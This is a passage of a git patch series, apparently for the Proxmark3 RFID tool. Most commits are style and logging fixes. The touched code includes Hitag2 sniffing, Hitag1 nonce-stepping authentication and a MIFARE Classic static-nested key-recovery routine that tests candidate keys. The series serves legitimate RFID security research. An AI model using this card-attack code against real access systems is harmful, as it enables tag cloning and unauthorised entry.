PrintAndLogEx(SUCCESS, "UID: %08X", uid); + PrintAndLogEx(SUCCESS, "UID: " _YELLOW_("%08X"), uid); + return PM3_SUCCESS; // how to detemine Hitag types? // read block3, get configuration byte. PrintAndLogEx(FAILED, _RED_("TODO: This is a hardcoded example!")); @@ -497,7 +498,7 @@ static int CmdLFHitagInfo(const char *Cmd) { //printHitagConfiguration( 0x02 ); //printHitagConfiguration( 0x00 ); //printHitagConfiguration( 0x04 ); - return 0; + return PM3_SUCCESS; } // TODO: iceman @@ -564,7 +565,7 @@ static int CmdLFHitagReader(const char *Cmd) { uint32_t id = bytes_to_num(resp.data.asBytes, 4); - PrintAndLogEx(SUCCESS, "Valid Hitag2 tag found - UID: %08x", id); + PrintAndLogEx(SUCCESS, "Valid Hitag2 tag found - UID: " _YELLOW_("%08x"), id); if (htf != RHT2F_UID_ONLY) { PrintAndLogEx(SUCCESS, "Dumping tag memory..."); diff --git a/include/hitag.h b/include/hitag.h index 9df93fcf7..b8555600b 100644 --- a/include/hitag.h +++ b/include/hitag.h @@ -21,6 +21,8 @@ typedef enum { RHTSF_KEY = 02, WHTSF_CHALLENGE = 03, WHTSF_KEY = 04, + RHT1F_PLAIN = 11, + RHT1F_AUTHENTICATE = 12, RHT2F_PASSWORD = 21, RHT2F_AUTHENTICATE = 22, RHT2F_CRYPTO = 23, @@ -44,8 +46,17 @@ typedef struct { uint8_t data[4]; } PACKED rht2d_crypto; +typedef struct { + bool key_no; + uint8_t logdata_0[4]; + uint8_t logdata_1[4]; + uint8_t nonce[4]; + uint8_t key[4]; +} PACKED rht1d_authenticate; + typedef union { rht2d_password pwd; + rht1d_authenticate ht1auth; rht2d_authenticate auth; rht2d_crypto crypto; } hitag_data; From 4154f3dd1ac1e0ae6edf06f6f00a803ca34f7544 Mon Sep 17 00:00:00 2001 From: Philippe Teuwen Date: Tue, 14 Jan 2020 22:58:38 +0100 Subject: [PATCH 308/418] fix compilation --- armsrc/hitag2.c | 2 +- armsrc/hitag2.h | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/armsrc/hitag2.c b/armsrc/hitag2.c index 60cd76416..f49c4fc38 100644 --- a/armsrc/hitag2.c +++ b/armsrc/hitag2.c @@ -940,7 +940,7 @@ static bool hitag2_read_uid(uint8_t *rx, const size_t rxlen, uint8_t *tx, size_t } // Hitag2 Sniffing -void SniffHitag(uint32_t type) { +void SniffHitag(void) { LEDsoff(); StopTicks(); diff --git a/armsrc/hitag2.h b/armsrc/hitag2.h index 79ada4ddf..9e0fb84e6 100644 --- a/armsrc/hitag2.h +++ b/armsrc/hitag2.h @@ -14,7 +14,7 @@ #include "common.h" #include "hitag.h" -void SniffHitag(uint32_t type); +void SniffHitag(void); void SimulateHitagTag(bool tag_mem_supplied, uint8_t *data); void ReaderHitag(hitag_function htf, hitag_data *htd); void WriterHitag(hitag_function htf, hitag_data *htd, int page); From 6c0d6f0655ba7a497d72b9b6ceece2d039fd0687 Mon Sep 17 00:00:00 2001 From: Philippe Teuwen Date: Wed, 15 Jan 2020 02:02:42 +0100 Subject: [PATCH 309/418] hitag: wip --- armsrc/hitag2.c | 24 +++++++++++++----------- 1 file changed, 13 insertions(+), 11 deletions(-) diff --git a/armsrc/hitag2.c b/armsrc/hitag2.c index f49c4fc38..e0635c3a5 100644 --- a/armsrc/hitag2.c +++ b/armsrc/hitag2.c @@ -1337,7 +1337,7 @@ void ReaderHitag(hitag_function htf, hitag_data *htd) { } uint8_t tag_modulation; - size_t max_nrzs = 8 * HITAG_FRAME_LEN + 5; + size_t max_nrzs = (8 * HITAG_FRAME_LEN + 5) * 2; // up to 2 nrzs per bit uint8_t nrz_samples[max_nrzs]; size_t nrzs = 0; @@ -1462,7 +1462,7 @@ void ReaderHitag(hitag_function htf, hitag_data *htd) { break; } } - + // Store the TX frame, we do this now at this point, to avoid delay in processing // and to be able to overwrite the first samples with the trace (since they currently // still use the same memory space) @@ -1509,23 +1509,25 @@ void ReaderHitag(hitag_function htf, hitag_data *htd) { } // Pack the response into a byte array - for (size_t i = 5; i < 37; i++){ + for (size_t i = 5; i < nrzs; i++){ uint8_t bit = nrz_samples[i]; rx[rxlen / 8] |= bit << (7 - (rxlen % 8)); rxlen++; } - + if (rxlen % 8 == 1) // skip spurious bit + rxlen--; + // Check if frame was captured and store it if (rxlen > 0) { frame_count++; - if (bCollision){ - // AC decoding hack - fix_ac_decoding(rx, 64); - rxlen = 32; - } +// if (bCollision){ +// // AC decoding hack +// fix_ac_decoding(rx, 64); +// rxlen = 32; +// } - LogTrace(rx, rxlen, response, 0, NULL, false); - //Dbhexdump(rxlen, rx, false); + LogTrace(rx, nbytes(rxlen), response, 0, NULL, false); + Dbhexdump(nbytes(rxlen), rx, false); } } From 2412961411cd823058b1a4c495a4f988d5649ed4 Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Wed, 15 Jan 2020 12:47:40 +0100 Subject: [PATCH 310/418] only set new timeout if its faster :) --- armsrc/mifareutil.c | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/armsrc/mifareutil.c b/armsrc/mifareutil.c index cfd8f4b35..e115e965f 100644 --- a/armsrc/mifareutil.c +++ b/armsrc/mifareutil.c @@ -194,7 +194,8 @@ int mifare_classic_authex(struct Crypto1State *pcs, uint32_t uid, uint8_t blockN uint32_t save_timeout = iso14a_get_timeout(); // set timeout for authentication response - iso14a_set_timeout(106); + if (save_timeout > 106) + iso14a_set_timeout(106); // Receive 4 byte tag answer len = ReaderReceive(receivedAnswer, receivedAnswerPar); From 2de3a756cc56f881b6a09ba5eb0f639c061461f9 Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Wed, 15 Jan 2020 13:07:51 +0100 Subject: [PATCH 311/418] chg: 'data samples' - colors --- client/cmddata.c | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/client/cmddata.c b/client/cmddata.c index ddd87fdb8..613ce11e5 100644 --- a/client/cmddata.c +++ b/client/cmddata.c @@ -1599,7 +1599,7 @@ int getSamples(uint32_t n, bool verbose) { if (n == 0 || n > sizeof(got)) n = sizeof(got); - if (verbose) PrintAndLogEx(NORMAL, "Reading %d bytes from device memory\n", n); + if (verbose) PrintAndLogEx(INFO, "Reading " _YELLOW_("%u") "bytes from device memory", n); PacketResponseNG response; if (!GetFromDevice(BIG_BUF, got, n, 0, NULL, 0, &response, 10000, true)) { @@ -1607,20 +1607,20 @@ int getSamples(uint32_t n, bool verbose) { return PM3_ETIMEOUT; } - if (verbose) PrintAndLogEx(NORMAL, "Data fetched"); + if (verbose) PrintAndLogEx(SUCCESS, "Data fetched"); uint8_t bits_per_sample = 8; //Old devices without this feature would send 0 at arg[0] if (response.oldarg[0] > 0) { sample_config *sc = (sample_config *) response.data.asBytes; - if (verbose) PrintAndLogEx(NORMAL, "Samples @ %d bits/smpl, decimation 1:%d ", sc->bits_per_sample, sc->decimation); + if (verbose) PrintAndLogEx(INFO, "Samples @ " _YELLOW_("%d") "bits/smpl, decimation 1:%d ", sc->bits_per_sample, sc->decimation); bits_per_sample = sc->bits_per_sample; } if (bits_per_sample < 8) { - if (verbose) PrintAndLogEx(NORMAL, "Unpacking..."); + if (verbose) PrintAndLogEx(INFO, "Unpacking..."); BitstreamOut bout = { got, bits_per_sample * n, 0}; int j = 0; @@ -1630,7 +1630,7 @@ int getSamples(uint32_t n, bool verbose) { } GraphTraceLen = j; - if (verbose) PrintAndLogEx(NORMAL, "Unpacked %d samples", j); + if (verbose) PrintAndLogEx(INFO, "Unpacked %d samples", j); } else { for (int j = 0; j < n; j++) { From 33033612bcc311fe9780381ff3794f136382e89c Mon Sep 17 00:00:00 2001 From: Philippe Teuwen Date: Wed, 15 Jan 2020 15:03:35 +0100 Subject: [PATCH 312/418] Fix delay in acquisition and DoAcquisition_config usage. Fixes #524 --- armsrc/lfops.c | 2 +- armsrc/lfsampling.c | 3 ++- 2 files changed, 3 insertions(+), 2 deletions(-) diff --git a/armsrc/lfops.c b/armsrc/lfops.c index ed23e75ea..1cb8406bf 100644 --- a/armsrc/lfops.c +++ b/armsrc/lfops.c @@ -2550,7 +2550,7 @@ void Cotag(uint32_t arg0) { doCotagAcquisitionManchester(); break; case 2: - DoAcquisition_config(true, true); + DoAcquisition_config(false, 0); break; } diff --git a/armsrc/lfsampling.c b/armsrc/lfsampling.c index 3378a9f94..5808fff07 100644 --- a/armsrc/lfsampling.c +++ b/armsrc/lfsampling.c @@ -115,7 +115,8 @@ void initSampleBuffer(uint32_t *sample_size) { // use a bitstream to handle the output data.buffer = BigBuf_get_addr(); - memset(data.buffer, 0, *sample_size); +// We can't erase the buffer now, it would drastically delay the acquisition +// memset(data.buffer, 0, *sample_size); // samples.dec_counter = 0; From 8ec57a7281eea35a9a623bed868f89c53fc89ac1 Mon Sep 17 00:00:00 2001 From: Philippe Teuwen Date: Wed, 15 Jan 2020 17:29:01 +0100 Subject: [PATCH 313/418] clear bit first in pushBit so we don't need initialized buff --- armsrc/lfsampling.c | 1 + 1 file changed, 1 insertion(+) diff --git a/armsrc/lfsampling.c b/armsrc/lfsampling.c index 290542959..f694b01f4 100644 --- a/armsrc/lfsampling.c +++ b/armsrc/lfsampling.c @@ -93,6 +93,7 @@ sample_config *getSamplingConfig() { void pushBit(BitstreamOut *stream, uint8_t bit) { int bytepos = stream->position >> 3; // divide by 8 int bitpos = stream->position & 7; + *(stream->buffer + bytepos) &= ~(1 << (7 - bitpos)); *(stream->buffer + bytepos) |= (bit > 0) << (7 - bitpos); stream->position++; stream->numbits++; From 5eef25bb5f5ebe483e7df707391f3162a4226bfa Mon Sep 17 00:00:00 2001 From: Philippe Teuwen Date: Wed, 15 Jan 2020 19:19:58 +0100 Subject: [PATCH 314/418] fix again delay in acquisition --- armsrc/lfsampling.c | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/armsrc/lfsampling.c b/armsrc/lfsampling.c index f694b01f4..eb3edb029 100644 --- a/armsrc/lfsampling.c +++ b/armsrc/lfsampling.c @@ -108,7 +108,8 @@ sampling_t samples = {0, 0, 0, 0}; void initSampleBuffer(uint32_t *sample_size) { BigBuf_free(); - BigBuf_Clear_ext(false); +// We can't erase the buffer now, it would drastically delay the acquisition +// BigBuf_Clear_ext(false); if (sample_size == NULL || *sample_size == 0) { *sample_size = BigBuf_max_traceLen(); From 7c33eeb7d5e448fe8b512c3da80a3ba941685a9c Mon Sep 17 00:00:00 2001 From: Philippe Teuwen Date: Wed, 15 Jan 2020 19:25:29 +0100 Subject: [PATCH 315/418] style --- armsrc/iso14443b.c | 2 +- armsrc/mifarecmd.c | 4 ++-- armsrc/mifaresim.c | 2 +- client/cmdhfmf.c | 6 +++--- client/cmdlfnexwatch.c | 4 ++-- client/mifare/mifarehost.c | 20 ++++++++++---------- 6 files changed, 19 insertions(+), 19 deletions(-) diff --git a/armsrc/iso14443b.c b/armsrc/iso14443b.c index 342c68471..d68ddd044 100644 --- a/armsrc/iso14443b.c +++ b/armsrc/iso14443b.c @@ -1167,7 +1167,7 @@ uint8_t iso14443b_apdu(uint8_t const *message, size_t message_length, uint8_t *r GetTagSamplesFor14443bDemod(); //no FpgaDisableTracing(); - + if (Demod.len < 3) return 0; diff --git a/armsrc/mifarecmd.c b/armsrc/mifarecmd.c index 4d7138565..a0ce705be 100644 --- a/armsrc/mifarecmd.c +++ b/armsrc/mifarecmd.c @@ -1157,7 +1157,7 @@ void MifareStaticNested(uint8_t blockNo, uint8_t keyType, uint8_t targetBlockNo, retry--; continue; }; - + // second authentication. Nested auth len = mifare_sendcmd_short(pcs, AUTH_NESTED, 0x60 + (targetKeyType & 0x01), targetBlockNo, receivedAnswer, par, NULL); if (len != 4) { @@ -1200,7 +1200,7 @@ void MifareStaticNested(uint8_t blockNo, uint8_t keyType, uint8_t targetBlockNo, FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF); LEDsoff(); - set_tracing(false); + set_tracing(false); } //----------------------------------------------------------------------------- // MIFARE check keys. key count up to 85. diff --git a/armsrc/mifaresim.c b/armsrc/mifaresim.c index 3f89cb029..80881c416 100644 --- a/armsrc/mifaresim.c +++ b/armsrc/mifaresim.c @@ -916,7 +916,7 @@ void Mifare1ksim(uint16_t flags, uint8_t exitAfterNReads, uint8_t *datain, uint1 if (DBGLEVEL >= DBG_EXTENDED) Dbprintf("[MFEMUL_WORK] RECV 0xA0 write block %d (%02x)", blockNo, blockNo); EmSend4bit(mf_crypto1_encrypt4bit(pcs, CARD_ACK)); FpgaDisableTracing(); - + cardWRBL = blockNo; cardSTATE = MFEMUL_WRITEBL2; if (DBGLEVEL >= DBG_EXTENDED) Dbprintf("[MFEMUL_WORK] cardSTATE = MFEMUL_WRITEBL2"); diff --git a/client/cmdhfmf.c b/client/cmdhfmf.c index d48a1fe1e..173184592 100644 --- a/client/cmdhfmf.c +++ b/client/cmdhfmf.c @@ -1578,7 +1578,7 @@ static int CmdHF14AMfNestedStatic(const char *Cmd) { for (trgKeyType = 0; trgKeyType < 2; ++trgKeyType) { for (uint8_t sectorNo = 0; sectorNo < SectorsCnt; ++sectorNo) { - for (int i = 0; i < 1; i++) { + for (int i = 0; i < 1; i++) { if (e_sector[sectorNo].foundKey[trgKeyType]) continue; @@ -3557,12 +3557,12 @@ void printKeyTableEx(uint8_t sectorscnt, sector_t *e_sector, uint8_t start_secto , strB, e_sector[i].foundKey[1] ); } else { - + // keep track if we use start_sector or i... uint8_t s = start_sector; if (start_sector == 0) s = i; - + PrintAndLogEx(NORMAL, "|%03d| %s | " _YELLOW_("%d")"| %s | " _YELLOW_("%d")"|" , s , strA, e_sector[i].foundKey[0] diff --git a/client/cmdlfnexwatch.c b/client/cmdlfnexwatch.c index 69f429ab6..68be0e0bc 100644 --- a/client/cmdlfnexwatch.c +++ b/client/cmdlfnexwatch.c @@ -192,13 +192,13 @@ static int CmdNexWatchSim(const char *Cmd) { } if (errors || cmdp == 0) return usage_lf_nexwatch_sim(); - + // hex to bits. for (size_t i = 0; i < ARRAYLEN(rawblocks); i++) { rawblocks[i] = bytes_to_num(rawhex + (i * sizeof(uint32_t)), sizeof(uint32_t)); num_to_bytebits(rawblocks[i], sizeof(uint32_t) * 8, bs + (i * sizeof(uint32_t) * 8)); } - + PrintAndLogEx(SUCCESS, "Simulating NexWatch - raw: %s", sprint_hex_inrow(rawhex, rawlen)); lf_psksim_t *payload = calloc(1, sizeof(lf_psksim_t) + sizeof(bs)); diff --git a/client/mifare/mifarehost.c b/client/mifare/mifarehost.c index 795d9eec7..5ba245070 100644 --- a/client/mifare/mifarehost.c +++ b/client/mifare/mifarehost.c @@ -563,14 +563,14 @@ int mfStaticNested(uint8_t blockNo, uint8_t keyType, uint8_t *key, uint8_t trgBl // create key candidates. while (p1 <= statelists[0].tail.sltail) { - struct Crypto1State savestate; - savestate = *p1; - while (Compare16Bits(p1, &savestate) == 0 && p1 <= statelists[0].tail.sltail) { - *p3 = *p1; - lfsr_rollback_word(p3, statelists[0].nt_enc ^ statelists[0].uid, 0); - p3++; - p1++; - } + struct Crypto1State savestate; + savestate = *p1; + while (Compare16Bits(p1, &savestate) == 0 && p1 <= statelists[0].tail.sltail) { + *p3 = *p1; + lfsr_rollback_word(p3, statelists[0].nt_enc ^ statelists[0].uid, 0); + p3++; + p1++; + } } *(uint64_t *)p3 = -1; @@ -581,14 +581,14 @@ int mfStaticNested(uint8_t blockNo, uint8_t keyType, uint8_t *key, uint8_t trgBl if (keycnt == 0) goto out; PrintAndLogEx(SUCCESS, "Found " _YELLOW_("%u") "candidate keys", keycnt); - + memset(resultKey, 0, 6); uint64_t key64 = -1; // The list may still contain several key candidates. Test each of them with mfCheckKeys uint32_t max_keys_slice = keycnt > KEYS_IN_BLOCK ? KEYS_IN_BLOCK : keycnt; uint8_t keyBlock[PM3_CMD_DATA_SIZE] = {0x00}; - + for (i = 0; i < keycnt; i += max_keys_slice) { PrintAndLogEx(INFO, "Testing %u / %u ", i, keycnt); From b57f40e3d78ef067ab6c592cab69255c1db6e86e Mon Sep 17 00:00:00 2001 From: Philippe Teuwen Date: Wed, 15 Jan 2020 19:26:12 +0100 Subject: [PATCH 316/418] make style --- armsrc/hitag2.c | 616 ++++++++++++++++++++++++------------------------ include/hitag.h | 16 +- 2 files changed, 321 insertions(+), 311 deletions(-) diff --git a/armsrc/hitag2.c b/armsrc/hitag2.c index e0635c3a5..474207590 100644 --- a/armsrc/hitag2.c +++ b/armsrc/hitag2.c @@ -16,7 +16,7 @@ // (c) 2012 Roel Verdult //----------------------------------------------------------------------------- // Piwi, 2019 -// Iceman, 2019 +// Iceman, 2019 // Anon, 2019 #include "hitag2.h" @@ -299,10 +299,10 @@ static void hitag2_handle_reader_command(uint8_t *rx, const size_t rxlen, uint8_ // sim static void hitag_reader_send_bit(int bit) { LED_A_ON(); - // Binary pulse length modulation (BPLM) is used to encode the data stream + // Binary pulse length modulation (BPLM) is used to encode the data stream // This means that a transmission of a one takes longer than that of a zero - // Enable modulation, which means, drop the field + // Enable modulation, which means, drop the field lf_modulation(true); // Wait for 4-10 times the carrier period @@ -328,241 +328,247 @@ static void hitag_reader_send_frame(const uint8_t *frame, size_t frame_len) { for (size_t i = 0; i < frame_len; i++) { hitag_reader_send_bit((frame[i / 8] >> (7 - (i % 8))) & 1); } - // Enable modulation, which means, drop the field + // Enable modulation, which means, drop the field lf_modulation(true); // Wait for 4-10 times the carrier period lf_wait_periods(8); // Disable modulation, just activates the field again lf_modulation(false); - + // t_stop, high field for stop condition (> 36) lf_wait_periods(28); } size_t blocknr; -uint8_t hitag_crc(uint8_t *data, size_t length){ - uint8_t crc = 0xff; - unsigned int byte, bit; - for(byte=0; byte<((length+7)/8); byte++){ - crc ^= *(data + byte); - bit = length < (8*(byte+1)) ? (length % 8) : 8; - while(bit--){ - if(crc & 0x80){ - crc<<=1; - crc ^= 0x1d; - } else { - crc<<=1; - } - } - } - return crc; +uint8_t hitag_crc(uint8_t *data, size_t length) { + uint8_t crc = 0xff; + unsigned int byte, bit; + for (byte = 0; byte < ((length + 7) / 8); byte++) { + crc ^= *(data + byte); + bit = length < (8 * (byte + 1)) ? (length % 8) : 8; + while (bit--) { + if (crc & 0x80) { + crc <<= 1; + crc ^= 0x1d; + } else { + crc <<= 1; + } + } + } + return crc; } #define test_bit(data, i) (*(data+(i/8)) >> (7-(i%8))) & 1 #define set_bit(data, i) *(data+(i/8)) |= (1 << (7-(i%8))) #define clear_bit(data, i) *(data+(i/8)) &= ~(1 << (7-(i%8))) #define flip_bit(data, i) *(data+(i/8)) ^= (1 << (7-(i%8))) -void fix_ac_decoding(uint8_t *input, size_t len){ - // Reader routine tries to decode AC data after Manchester decoding - // AC has double the bitrate, extract data from bit-pairs - uint8_t temp[len / 16]; - memset(temp, 0, sizeof(temp)); +void fix_ac_decoding(uint8_t *input, size_t len) { + // Reader routine tries to decode AC data after Manchester decoding + // AC has double the bitrate, extract data from bit-pairs + uint8_t temp[len / 16]; + memset(temp, 0, sizeof(temp)); - for (size_t i = 1; i < len; i += 2) { - if (test_bit(input, i) && test_bit(input, (i + 1))){ - set_bit(temp, (i / 2)); - } - } - memcpy(input, temp, sizeof(temp)); + for (size_t i = 1; i < len; i += 2) { + if (test_bit(input, i) && test_bit(input, (i + 1))) { + set_bit(temp, (i / 2)); + } + } + memcpy(input, temp, sizeof(temp)); } -bool hitag_plain(uint8_t* rx, const size_t rxlen, uint8_t* tx, size_t* txlen, bool hitag_s) { - uint8_t crc; - *txlen = 0; - switch (rxlen) { - case 0: { - // retry waking up card - /*tx[0] = 0xb0; // Rev 3.0*/ - tx[0] = 0x30; // Rev 2.0 - *txlen = 5; - if(!bCollision) blocknr--; - if(blocknr < 0) { - blocknr = 0; - } - if(!hitag_s){ - if (blocknr > 1 && blocknr < 31) { - blocknr=31; - } - } - bCollision = true; - return true; - } - case 32: { - if(bCollision){ - // Select card by serial from response - tx[0] = 0x00 | rx[0] >> 5; - tx[1] = rx[0] << 3 | rx[1] >> 5; - tx[2] = rx[1] << 3 | rx[2] >> 5; - tx[3] = rx[2] << 3 | rx[3] >> 5; - tx[4] = rx[3] << 3; - crc = hitag_crc(tx,37); - tx[4] |= crc >> 5; - tx[5] = crc << 3; - *txlen = 45; - bCollision = false; - } else { - memcpy(tag.sectors[blocknr], rx, 4); - blocknr++; - if(!hitag_s){ - if (blocknr > 1 && blocknr < 31) { - blocknr=31; - } - } - if (blocknr > 63) { - DbpString("Read succesful!"); - *txlen = 0; - bSuccessful = true; - return false; - } - // read next page of card until done - Dbprintf("Reading page %02u", blocknr); - tx[0] = 0xc0 | blocknr >> 4; // RDPPAGE - tx[1] = blocknr << 4; - crc = hitag_crc(tx,12); - tx[1] |= crc >> 4; - tx[2] = crc << 4; - *txlen = 20; - } - } break; - default: { - Dbprintf("Uknown frame length: %d",rxlen); - return false; - } break; - } - return true; +bool hitag_plain(uint8_t *rx, const size_t rxlen, uint8_t *tx, size_t *txlen, bool hitag_s) { + uint8_t crc; + *txlen = 0; + switch (rxlen) { + case 0: { + // retry waking up card + /*tx[0] = 0xb0; // Rev 3.0*/ + tx[0] = 0x30; // Rev 2.0 + *txlen = 5; + if (!bCollision) blocknr--; + if (blocknr < 0) { + blocknr = 0; + } + if (!hitag_s) { + if (blocknr > 1 && blocknr < 31) { + blocknr = 31; + } + } + bCollision = true; + return true; + } + case 32: { + if (bCollision) { + // Select card by serial from response + tx[0] = 0x00 | rx[0] >> 5; + tx[1] = rx[0] << 3 | rx[1] >> 5; + tx[2] = rx[1] << 3 | rx[2] >> 5; + tx[3] = rx[2] << 3 | rx[3] >> 5; + tx[4] = rx[3] << 3; + crc = hitag_crc(tx, 37); + tx[4] |= crc >> 5; + tx[5] = crc << 3; + *txlen = 45; + bCollision = false; + } else { + memcpy(tag.sectors[blocknr], rx, 4); + blocknr++; + if (!hitag_s) { + if (blocknr > 1 && blocknr < 31) { + blocknr = 31; + } + } + if (blocknr > 63) { + DbpString("Read succesful!"); + *txlen = 0; + bSuccessful = true; + return false; + } + // read next page of card until done + Dbprintf("Reading page %02u", blocknr); + tx[0] = 0xc0 | blocknr >> 4; // RDPPAGE + tx[1] = blocknr << 4; + crc = hitag_crc(tx, 12); + tx[1] |= crc >> 4; + tx[2] = crc << 4; + *txlen = 20; + } + } + break; + default: { + Dbprintf("Uknown frame length: %d", rxlen); + return false; + } + break; + } + return true; } size_t flipped_bit = 0; uint32_t byte_value = 0; -bool hitag1_authenticate(uint8_t* rx, const size_t rxlen, uint8_t* tx, size_t* txlen) { - uint8_t crc; - *txlen = 0; - switch (rxlen) { - case 0: { - // retry waking up card - /*tx[0] = 0xb0; // Rev 3.0*/ - tx[0] = 0x30; // Rev 2.0 - *txlen = 5; - if (bCrypto && byte_value <= 0xff){ - // to retry - bCrypto = false; - } - if(!bCollision) blocknr--; - if(blocknr < 0) { - blocknr = 0; - } - bCollision = true; - // will receive 32-bit UID - } break; - case 2: { - if (bAuthenticating) { - // received Auth init ACK, send nonce - // TODO Roel, bit-manipulation goes here - /*nonce[0] = 0x2d;*/ - /*nonce[1] = 0x74;*/ - /*nonce[2] = 0x80;*/ - /*nonce[3] = 0xa5;*/ - nonce[0]=byte_value; - byte_value++; - /*set_bit(nonce,flipped_bit);*/ - memcpy(tx,nonce,4); - *txlen = 32; - // will receive 32 bit encrypted Logdata - } else if (bCrypto) { - // authed, start reading - tx[0] = 0xe0 | blocknr >> 4; // RDCPAGE - tx[1] = blocknr << 4; - crc = hitag_crc(tx,12); - tx[1] |= crc >> 4; - tx[2] = crc << 4; - *txlen = 20; - // will receive 32-bit encrypted page - } - } break; - case 32: { - if (bCollision){ - // Select card by serial from response - tx[0] = 0x00 | rx[0] >> 5; - tx[1] = rx[0] << 3 | rx[1] >> 5; - tx[2] = rx[1] << 3 | rx[2] >> 5; - tx[3] = rx[2] << 3 | rx[3] >> 5; - tx[4] = rx[3] << 3; - crc = hitag_crc(tx,37); - tx[4] |= crc >> 5; - tx[5] = crc << 3; - *txlen = 45; - bCollision = false; - bSelecting = true; - // will receive 32-bit configuration page - } else if (bSelecting){ - // Initiate auth - tx[0] = 0xa0 | key_no >> 4; // WRCPAGE - tx[1] = blocknr << 4; - crc = hitag_crc(tx,12); - tx[1] |= crc >> 4; - tx[2] = crc << 4; - *txlen = 20; - bSelecting = false; - bAuthenticating = true; - // will receive 2-bit ACK - } else if (bAuthenticating) { - // received 32-bit logdata 0 - // TODO decrypt logdata 0, verify against logdata_0 - memcpy(tag.sectors[0], rx, 4); - memcpy(tag.sectors[1], tx, 4); - Dbprintf("%02x%02x%02x%02x %02x%02x%02x%02x", rx[0], rx[1], rx[2], rx[3], tx[0], tx[1], tx[2], tx[3]); - // TODO replace with secret data stream - // TODO encrypt logdata_1 - memcpy(tx,logdata_1,4); - *txlen = 32; - bAuthenticating = false; - bCrypto = true; - // will receive 2-bit ACK - } else if (bCrypto) { - // received 32-bit encrypted page - // TODO decrypt rx - memcpy(tag.sectors[blocknr],rx,4); - blocknr++; - if (blocknr > 63) { - DbpString("Read succesful!"); - bSuccessful = true; - return false; - } +bool hitag1_authenticate(uint8_t *rx, const size_t rxlen, uint8_t *tx, size_t *txlen) { + uint8_t crc; + *txlen = 0; + switch (rxlen) { + case 0: { + // retry waking up card + /*tx[0] = 0xb0; // Rev 3.0*/ + tx[0] = 0x30; // Rev 2.0 + *txlen = 5; + if (bCrypto && byte_value <= 0xff) { + // to retry + bCrypto = false; + } + if (!bCollision) blocknr--; + if (blocknr < 0) { + blocknr = 0; + } + bCollision = true; + // will receive 32-bit UID + } + break; + case 2: { + if (bAuthenticating) { + // received Auth init ACK, send nonce + // TODO Roel, bit-manipulation goes here + /*nonce[0] = 0x2d;*/ + /*nonce[1] = 0x74;*/ + /*nonce[2] = 0x80;*/ + /*nonce[3] = 0xa5;*/ + nonce[0] = byte_value; + byte_value++; + /*set_bit(nonce,flipped_bit);*/ + memcpy(tx, nonce, 4); + *txlen = 32; + // will receive 32 bit encrypted Logdata + } else if (bCrypto) { + // authed, start reading + tx[0] = 0xe0 | blocknr >> 4; // RDCPAGE + tx[1] = blocknr << 4; + crc = hitag_crc(tx, 12); + tx[1] |= crc >> 4; + tx[2] = crc << 4; + *txlen = 20; + // will receive 32-bit encrypted page + } + } + break; + case 32: { + if (bCollision) { + // Select card by serial from response + tx[0] = 0x00 | rx[0] >> 5; + tx[1] = rx[0] << 3 | rx[1] >> 5; + tx[2] = rx[1] << 3 | rx[2] >> 5; + tx[3] = rx[2] << 3 | rx[3] >> 5; + tx[4] = rx[3] << 3; + crc = hitag_crc(tx, 37); + tx[4] |= crc >> 5; + tx[5] = crc << 3; + *txlen = 45; + bCollision = false; + bSelecting = true; + // will receive 32-bit configuration page + } else if (bSelecting) { + // Initiate auth + tx[0] = 0xa0 | key_no >> 4; // WRCPAGE + tx[1] = blocknr << 4; + crc = hitag_crc(tx, 12); + tx[1] |= crc >> 4; + tx[2] = crc << 4; + *txlen = 20; + bSelecting = false; + bAuthenticating = true; + // will receive 2-bit ACK + } else if (bAuthenticating) { + // received 32-bit logdata 0 + // TODO decrypt logdata 0, verify against logdata_0 + memcpy(tag.sectors[0], rx, 4); + memcpy(tag.sectors[1], tx, 4); + Dbprintf("%02x%02x%02x%02x %02x%02x%02x%02x", rx[0], rx[1], rx[2], rx[3], tx[0], tx[1], tx[2], tx[3]); + // TODO replace with secret data stream + // TODO encrypt logdata_1 + memcpy(tx, logdata_1, 4); + *txlen = 32; + bAuthenticating = false; + bCrypto = true; + // will receive 2-bit ACK + } else if (bCrypto) { + // received 32-bit encrypted page + // TODO decrypt rx + memcpy(tag.sectors[blocknr], rx, 4); + blocknr++; + if (blocknr > 63) { + DbpString("Read succesful!"); + bSuccessful = true; + return false; + } - // TEST - Dbprintf("Succesfully authenticated with logdata:"); - Dbhexdump(4,logdata_1,false); - bSuccessful = true; - return false; + // TEST + Dbprintf("Succesfully authenticated with logdata:"); + Dbhexdump(4, logdata_1, false); + bSuccessful = true; + return false; - // read next page of card until done - tx[0] = 0xe0 | blocknr >> 4; // RDCPAGE - tx[1] = blocknr << 4; - crc = hitag_crc(tx,12); - tx[1] |= crc >> 4; - tx[2] = crc << 4; - *txlen = 20; - } - } break; - default: { - Dbprintf("Uknown frame length: %d",rxlen); - return false; - } break; - } + // read next page of card until done + tx[0] = 0xe0 | blocknr >> 4; // RDCPAGE + tx[1] = blocknr << 4; + crc = hitag_crc(tx, 12); + tx[1] |= crc >> 4; + tx[2] = crc << 4; + *txlen = 20; + } + } + break; + default: { + Dbprintf("Uknown frame length: %d", rxlen); + return false; + } + break; + } - return true; + return true; } //----------------------------------------------------------------------------- @@ -919,7 +925,7 @@ static bool hitag2_read_uid(uint8_t *rx, const size_t rxlen, uint8_t *tx, size_t // Store the received block memcpy(tag.sectors[blocknr], rx, 4); blocknr++; - + Dbhexdump(4, rx, false); } if (blocknr > 0) { @@ -944,7 +950,7 @@ void SniffHitag(void) { LEDsoff(); StopTicks(); - + FpgaDownloadAndGo(FPGA_BITSTREAM_LF); BigBuf_free(); BigBuf_Clear_ext(false); @@ -968,17 +974,17 @@ void SniffHitag(void) { /*bool waiting_for_first_edge = true;*/ LED_C_ON(); - + while (!BUTTON_PRESS() && !data_available()) { WDT_HIT(); - // Receive frame, watch for at most T0*EOF periods + // Receive frame, watch for at most T0*EOF periods lf_reset_counter(); - + // Wait "infinite" for reader modulation periods = lf_detect_gap(20000); - + // Test if we detected the first reader modulation edge if (periods != 0) { if (logging == false) { @@ -986,29 +992,29 @@ void SniffHitag(void) { LED_D_ON(); } } - + /*lf_count_edge_periods(10000);*/ - while ((periods = lf_detect_gap(64)) != 0){ + while ((periods = 